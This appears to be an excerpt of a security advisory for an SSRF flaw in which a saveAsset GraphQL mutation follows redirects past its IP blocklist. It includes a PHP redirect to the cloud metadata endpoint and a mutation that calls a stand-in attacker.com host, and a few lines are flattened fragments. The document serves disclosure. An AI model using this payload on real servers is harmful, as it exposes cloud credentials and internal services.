The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.
redirect.php):<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
mutation {
save_images_Asset(_file: {
url: "https://attacker.com/redirect.php"
filename: "metadata.txt"
}) {
id
}
}
attacker.com (passes)169.254.169.254{
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-09T20:35:30Z",
"nvd_published_at": "2026-02-09T20:15:57Z",
"severity": "MODERATE"
}